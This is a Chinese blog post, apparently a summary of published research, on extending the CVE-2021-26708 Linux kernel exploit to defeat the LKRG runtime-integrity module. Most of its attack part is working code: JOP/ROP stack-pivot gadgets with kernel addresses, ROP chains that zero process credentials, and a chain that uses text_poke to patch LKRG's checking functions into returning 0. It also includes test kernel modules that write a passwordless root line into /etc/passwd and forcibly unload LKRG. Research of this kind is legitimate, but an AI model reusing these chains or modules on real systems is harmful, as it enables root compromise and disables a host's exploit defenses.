【Exploit trick】利用CVE-2021-26708 绕过LKRG缓解机制

18 篇文章 0 订阅
6 篇文章 0 订阅

LKRG source code

绕过LKRG总结:构造ROP链给两个函数打patch,p_check_integrity()(负责检查内核完整性)和p_cmp_creds()(负责检查进程凭证)。补丁程序为0x48 0x31 0xc0 0xc3,也就是xor rax, rax ; retreturn 0,打完补丁后提权即可。打补丁函数采用void *text_poke(void *addr, const void *opcode, size_t len),kprobes中也用到了该函数。

1. 回顾CVE-2021-26708利用

利用UAF 4字节写漏洞来修改msg_msg->security,构造更一般的UAF;最后伪造skb_shared_info.destructor_arg回调函数来劫持控制流,构造任意写。

void (*callback)(struct ubuf_info *, bool zerocopy_success);

当内核调用skb_zcopy_clear()时,RDI指向ubuf_info结构(用户可控,前8字节为待伪造的回调函数地址),RSI为1。

// [1] 完美gadget,直接劫持栈,但找不到
mov rsp, qword ptr [rdi + 8] ; ret
// [2] vmlinuz-5.10.11-200.fc33.x86_64 中找到如下gadget
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret

缺点:利用gadget [2] 可以向uid / gid / effective uid / effective gid 写0 提权,但是缺点是需要2次劫持控制流,降低了exp的稳定性。没有充分利用ROP的优势。

2. 可控的寄存器

skb_zcopy_clear()调用destructor_arg回调函数时下断,观察寄存器状态:

$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ break ./include/linux/skbuff.h:1481

请添加图片描述

寄存器状态

  • RDI / R8ubuf_info指针
  • R9 / RSP:栈指针
  • R12 / R14:堆指针
  • RBP:指向skb_shared_info——sk_buff->head + 0xec0,可控!

3. 尝试JOP

找到很多如下类似的gadge:可以使RSP指向用户空间,然后跳转到可控的地址。

// acpi_idle_lpi_enter()
0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]

问题:很奇怪,动态运行时,该位置处的代码改变了。

原因acpi_idle_lpi_enter()在运行时被 CONFIG_DYNAMIC_FTRACE 修改了。

解决:在动态运行的代码中搜索ROP/JOP。

# 先确定text地址
[root@localhost ~]# grep "_text" /proc/kallsyms
ffffffff81000000 T _text
[root@localhost ~]# grep "_etext" /proc/kallsyms 
ffffffff81e026d7 T _etext
# dump 内存
gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000
Dumped 14692352 bytes to 'kerndump'
# 采用 ROPgadget 搜索 ROP/JOP
$ ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > rop_gadgets_5.10.11_kerndump

4. ROP/JOP chain 劫持栈

寻找RBP跳转相关的gadget(RBP可控),来劫持栈。

  • (1)首先保存RSP低32字节,便于最后恢复RSP(没有找到可直接保存RSP的gadget,但可以利用R9来保存高4字节);
  • (2)将RDI——ubuf_info结构地址压栈;
  • (3)RSP指向ubuf_info结构,可控。
/* JOP/ROP gadget chain for stack pivoting: */

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP		(0xFFFFFFFF81768A43lu + kaslr_offset)

/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP		(0xFFFFFFFF81B5FD0Alu + kaslr_offset)

/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET	(0xFFFFFFFF8165E33Flu + kaslr_offset)

/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;

unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET + 0x48);
/* push rdi ; jmp qword ptr [rbp - 0x75] */
*jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP;

unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET - 0x75);
/* pop rsp ; pop rbx ; ret */
*jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET;

以下是sk_buff堆喷的构造示意图

请添加图片描述

5. ROP提权

提权思路:前文已利用任意读泄露了owner_cred地址,构造ROP修改uid / gid / effective uid / effective gid 为0即可。

unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;

#define ROP_POP_RAX_RET			(0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET	(0xFFFFFFFF8112E6D7lu + kaslr_offset)

/* 1. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */

恢复RSP:需恢复RSP并继续系统调用处理。RCX保存了RSP低32位,R9保存了RSP高32位,可以一同恢复RSP。没有找到mov rsp, rax ; ret gadget,所以需通过RBX间接传递。

#define ROP_MOV_RAX_R9_RET		(0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET			(0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET		(0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET		(0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_PUSH_RAX_POP_RBX_RET	(0xFFFFFFFF810D64D1lu + kaslr_offset)
#define ROP_PUSH_RBX_POP_RSP_RET	(0xFFFFFFFF810749E9lu + kaslr_offset)

/* 2. Restore RSP and continue */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET;	    /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET;	    /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET;	    /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET;	    /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret*/

6. LKRG介绍

LKRG简介:全称Linux Kernel Runtime Guard,是一个在 Linux 内核执行运行时完整性检查的可加载内核模块(LKM),也可以检测正在运行的进程的提权行为,在漏洞利用代码运行之前杀掉这个运行进程。经过测试,安装LKRG v0.8 后大约会产生 2.5% 性能影响,LKRG 能检测到CVE-2014-9322 (BadIRET)、CVE-2017-5123 (waitid(2) missing access_ok)、以及 CVE-2017-6074 (use-after-free in DCCP protocol) 的漏洞利用企图,但是没有检测到 CVE-2016-5195 (Dirty COW) 的漏洞利用企图。

LKRG防御手段:参见LKRG anti-exploit functionality

  • 防止非法提权(EoP)
    • Token / pointer swapping
    • 非法调用commit_creds()函数
    • 覆写struct cred结构
  • 沙盒(eg,Chrome Sandbox中覆写seccomp配置和规则)、命名空间、容器(eg,Doker/Kubernetes)逃逸
  • 非法篡改CPU状态(例如,x86中关闭SMEP / SMAP)
  • 非法修改内核的.text.rodata
  • pCFI(Poor man’s CFI)机制:检查内核栈迁移和ROP,检测非法控制流(非.text节、动态生成的可执行页、用户页、当攻击者绕过SMEP)

例如,可检测到从非代码页调用内核API(CVE-2017-1000112,从伪造的栈上调用内核API),pCFI检测ROP(CVE-2017-1000112,错误的栈基址、错误的栈指针),检测进程的UID发生变化(0->1000)

LKRG绕过思路

  • Fly under LKRG’s radar:

    • Overwrite critical metadata not guarded by LKRG
    • Try to win races
    • Move attack to userspace
  • Attack (disable) LKRG and continue normal work:

    • Try to win races (corrupting LKRG’s database)
    • Attack LKRG’s internal synchronization / locking
    • Find all LKRG’s running contexts and disable them + block a new one
  • Directly attack the userspace via kernel (e.g. DirtyCOW)

LKRG完整性保护

  • Calculate hash from the critical [meta]data – SipHash

  • Guarded regions:

  • Critical (V)CPU/core data – Inter-Processor-Interrupt (IPI) is sent to the individual core in all (V)CPUs to exclusively run LKRG’s guard function (IDT/MSR/CRx/etc.)

    • LKRG keeps information about how many (V)CPU/cores are „online” / „offline” / „possible”
  • Entire Linux kernel .text section

    • This covers almost entire Linux kernel itself, like syscall tables, all procedures, all function, all IRQ handlers, etc.
  • Entire Linux kernel .rodata section

  • Entire Linux kernel exception table

  • Critical global system variables, like:

    • selinux_enabled
    • selinux_enforcing / selinux_state
    • Supervisor Mode Execution Protection (SMEP) and Supervisor Mode Access Prevention (SMAP)
    • CR4.WP
  • All dynamically loaded modules AND their order in the internal structures

  • Optionally,it is possible to enable guard of the entire IOMMU table

现有的绕过方法Ilya Matveychikov尝试过各种方法来绕过LKRG,但 Adam ‘pi3’ Zabrocki 对LKRG进行了加固—— improved LKRG

  • (1)利用call_usermodehelper和chmod+chown`来修改 shell binary 的权限;
  • (2)利用simple_setattr()覆盖inode->i_{uid,gid,mode}来修改 shell binary 的权限;
  • (3)直接覆盖inode->i_{uid,gid,mode},修改 shell binary 的 inode(file) 特性,使之属于root;
  • (4)LKRG 0.6 引入了基于软件的CFI(pCFI),遍历调用栈,检查栈上地址是否超出 kernel text范围。绕过方法是,先保存栈内容,替换栈上返回地址指向kernel text有效地址,然后提权(调用schedule_on_each_cpu()推迟提权,调用module_alloc()来分配可执行可写内存,存放提权的shellcode),再恢复栈内容;
  • (5)all_usermodehelper (ld_preload)LKRG 6.0 的白名单中;绕过UMH locking by using whitelist of programs机制,可以向/sbin/modprobe插入payload。
  • (6)关闭kprobes
  • (7)修改/etc/shadow

尝试1——改/etc/passwd:由于LKRG没有追踪/etc/passwd的访问,可通过修改root密码再执行su来绕过LKRG。

写如下内核模块进行测试,修改/etc/passwdroot::0:0:root:/root:/bin/bash\n。作者在ROP链中执行filp_open()kernel_write(),但是打开/etc/passwd 时失败了,可能是在内核打开文件时检查了进程凭证和SELinux metadata,在调用filp_open()之前覆写这些数据也不行,因为LKRG会追踪并杀死该进程。

#include <linux/module.h>
#include <linux/kallsyms.h>

static int __init pwdhack_init(void)
{
	struct file *f = NULL;
	char *str = "root::0:0:root:/root:/bin/bash\n";
	ssize_t wret;
	loff_t pos = 0;

	pr_notice("pwdhack: init\n");

	f = filp_open("/etc/passwd", O_WRONLY, 0);
	if (IS_ERR(f)) {
		pr_err("pwdhack: filp_open() failed\n");
		return -ENOENT;
	}

	wret = kernel_write(f, str, strlen(str), &pos);
	printk("pwdhack: kernel_write() returned %ld\n", wret);

	pr_notice("pwdhack: done\n");

	return 0;
}

static void __exit pwdhack_exit(void)
{
	pr_notice("pwdhack: exit\n");
}

module_init(pwdhack_init)
module_exit(pwdhack_exit)

MODULE_LICENSE("GPL v2");

尝试2——卸载LKRG:先采用如下模块进行测试,成功卸载。作者在ROP中调用find_module()LKRG exit(),但是失败了,在执行p_lkrg_deregister()过程中,LKRG调用了schedule()内核函数来进行pCFI检查,检测到栈迁移的行为并杀死了exp进程。

#include <linux/module.h>
#include <linux/kallsyms.h>

static int __init destroy_lkrg_init(void)
{
	struct module *lkrg_mod = find_module("p_lkrg");

	if (!lkrg_mod) {
		pr_notice("destroy_lkrg: p_lkrg module is NOT found\n");
		return -ENOENT;
	}

	if (!lkrg_mod->exit) {
		pr_notice("destroy_lkrg: p_lkrg module has no exit method\n");
		return -ENOENT;
	}

	pr_notice("destroy_lkrg: p_lkrg module is found, remove it brutally!\n");
	lkrg_mod->exit();

	return 0;
}

static void __exit destroy_lkrg_exit(void)
{
	pr_notice("destroy_lkrg: exit\n");
}

module_init(destroy_lkrg_init)
module_exit(destroy_lkrg_exit)

MODULE_LICENSE("GPL v2");

尝试3——禁用kprobes:LKRG会采用kprobeskretprobes来安插 checking hooks。首先尝试用debugfs接口执行命令echo 0 > /sys/kernel/debug/kprobes/enabled来禁用kprobes,但是发现内核似乎陷入了死锁。调试LKRG也很困难,只要用gdb下断点,就会改变内核代码,LKRG的并行线程会检测到内核完整性被破坏,内核会意外崩溃,无法弄清内核发生了什么。

7. 成功绕过LKRG

绕过LKRG思路:构造ROP链给两个函数打patch,p_check_integrity()(负责检查内核完整性)和p_cmp_creds()(负责检查进程凭证)。补丁程序为0x48 0x31 0xc0 0xc3,也就是xor rax, rax ; retreturn 0,打完补丁后提权即可。

unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;

#define SAVED_RSP_OFFSET	3400

#define ROP_MOV_RAX_R9_RET		(0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET			(0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET		(0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET		(0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_MOV_RDX_RAX_RET		(0xFFFFFFFF81999A1Dlu + kaslr_offset)
#define ROP_POP_RAX_RET			(0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_RDX_RET	(0xFFFFFFFF81B6CB17lu + kaslr_offset)

/* 1. Save RSP */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET;	/* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET;	/* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET;	/* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET;	/* add rax, rcx ; ret */
rop_gadget[i++] = ROP_MOV_RDX_RAX_RET;	/* mov rdx, rax ; shr rax, 0x20 ; xor eax, edx ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET;	/* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [rax], rdx ; ret */

保存RSP:根据ECXR9来重构RSP,并保存到sk_buff区域——SAVED_RSP_OFFSET

#define KALLSYMS_LOOKUP_NAME 	(0xffffffff81183dc0lu + kaslr_offset)
#define FUNCNAME_OFFSET_1	3550

#define ROP_POP_RDI_RET				(0xFFFFFFFF81004652lu + kaslr_offset)
#define ROP_JMP_RAX				(0xFFFFFFFF81000087lu + kaslr_offset)

/* 2. Destroy lkrg : part 1 */
rop_gadget[i++] = ROP_POP_RAX_RET;	/* pop rax ; ret */
rop_gadget[i++] = KALLSYMS_LOOKUP_NAME;
		  /* unsigned long kallsyms_lookup_name(const char *name) */
rop_gadget[i++] = ROP_POP_RDI_RET;	/* pop rdi ; ret */
rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1;
strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12);
rop_gadget[i++] = ROP_JMP_RAX;		/* jmp rax */

搜索p_cmp_creds()地址:ROP链调用kallsyms_lookup_name("p_cmp_creds")来查找p_cmp_creds() 函数地址,在sk_buffFUNCNAME_OFFSET_1 偏移处保存"p_cmp_creds"字符串。lkrg.hide配置选项默认为0,所以攻击者可以调用kallsyms_lookup_name()找到LKRG函数,也有其他方法来找到这些函数的地址。

#define XOR_RAX_RAX_RET				(0xFFFFFFFF810859C0lu + kaslr_offset)
#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET	(0xFFFFFFFF81196AA2lu + kaslr_offset)

/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */
rop_gadget[i++] = ROP_POP_RDX_RET;	/* pop rdx ; ret */
rop_gadget[i++] = XOR_RAX_RAX_RET;
rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, rax ; cmove rax, rdx ; ret*/

kallsyms_lookup_name()函数返回RAX就是p_cmp_creds()的地址,如果kallsyms_lookup_name()返回NULL,则表示LKRG没有加载。为了处理这两种情况,作者采用了这种构造技巧:

  • (1)找到gadget xor rax, rax ; ret,记为XOR_RAX_RAX_RET
  • (2)将XOR_RAX_RAX_RET载入RDX
  • (3)如果kallsyms_lookup_name("p_cmp_creds")返回NULL,则将返回值RAX置为XOR_RAX_RAX_RET,采用gadget test rax, rax ; cmove rax, rdx ; ret 中的条件mov指令(cmove)完成。

如果加载了LKRG,则将p_cmp_creds()打补丁为xor rax, rax ; ret;相反,如果没加载LKRG,则将xor rax, rax ; ret打补丁为一样的内容,避免内核崩溃。

#define TEXT_POKE		(0xffffffff81031300lu + kaslr_offset)
#define CODE_PATCH_OFFSET	3450

#define ROP_MOV_RDI_RAX_POP_RBX_RET		(0xFFFFFFFF81020ABDlu + kaslr_offset)
#define ROP_POP_RSI_RET				(0xFFFFFFFF810006A4lu + kaslr_offset)

rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET;
		  /* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret */
rop_gadget[i++] = 0x1337;	   /* dummy value for RBX */
rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */
rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET;
strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5);
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 4;
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = TEXT_POKE;
		  /* void *text_poke(void *addr, const void *opcode, size_t len) */
rop_gadget[i++] = ROP_JMP_RAX;	   /* jmp rax */

打补丁:准备参数并调用text_poke()来打补丁。

  • (1)将p_cmp_creds()地址,也即RAX传给RDI
  • (2)补丁值的地址传给RSI,补丁值放在sk_buffCODE_PATCH_OFFSET偏移处,值为0x48 0x31 0xc0 0xc3
  • (3)补丁值的长度4传给RDX

text_poke() 也被用在kprobes和其他内核机制中,可以更新内核指令(重新映射代码页并调用memcpy())。

接着采用相同的步骤来给p_check_integrity()打补丁。

#define ROP_MOV_QWORD_PTR_RAX_0_RET	(0xFFFFFFFF8112E6D7lu + kaslr_offset)

/* 3. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET;		/* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET;	/* mov qword ptr [rax], 0 ; ret */

/* 4. Restore RSP and continue */
rop_gadget[i++] = ROP_POP_RAX_RET;		 /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword ptr [rax] ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET;	 /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET;
		  /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */

提权并恢复RSP:提权过后,recv()系统调用后就有了root权限。

8. 结论与思考

本攻击方法还没有出对应的防护措施。如果LKRG被移植到hypervisor(例如QEMU/KVM)或ARM可信执行环境的FOSS实现(例如OPEN-TEE),漏洞利用难度将会增大。

参考

Improving the exploit for CVE-2021-26708 in the Linux kernel to bypass LKRG

LKRG:用于运行时完整性检查的可加载内核模块

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值